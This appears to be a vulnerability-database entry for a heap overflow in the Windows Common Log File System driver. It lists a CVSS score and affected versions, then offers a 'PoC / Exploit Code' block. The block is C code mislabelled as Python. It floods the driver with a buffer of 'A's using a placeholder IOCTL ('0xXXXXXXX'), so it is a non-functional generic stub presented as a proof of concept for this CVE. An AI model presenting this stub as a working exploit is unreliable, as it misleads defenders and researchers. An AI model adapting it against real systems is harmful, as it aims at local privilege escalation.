Heap-based buffer overflow in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Windows 10 多个版本
Windows 11 多个版本
Windows Server 2019/2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-40407
// This code attempts to trigger the heap overflow in the CLFS driver.
// Note: This is a conceptual demonstration for research purposes.
int main() {
HANDLE hDevice;
DWORD bytesReturned;
char evilBuffer[4096]; // Buffer larger than expected by driver
// Fill buffer with pattern 'A' to overflow
memset(evilBuffer, 'A', sizeof(evilBuffer));
// Obtain a handle to the CLFS device (Symbolic link might vary)
hDevice = CreateFileA("\\\\.\\CLFS",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("Sending malicious payload to CLFS driver...\n");
// Send the buffer via DeviceIoControl to trigger the overflow
// IOCTL code would need to be reversed from the vulnerable driver version
BOOL result = DeviceIoControl(hDevice,
0xXXXXXXX, // Vulnerable IOCTL
evilBuffer,
sizeof(evilBuffer),
NULL,
0,
&bytesReturned,
NULL);
if (!result) {
printf("DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("Payload sent successfully. Check for BSOD or exploit success.\n");
}
CloseHandle(hDevice);
return 0;
}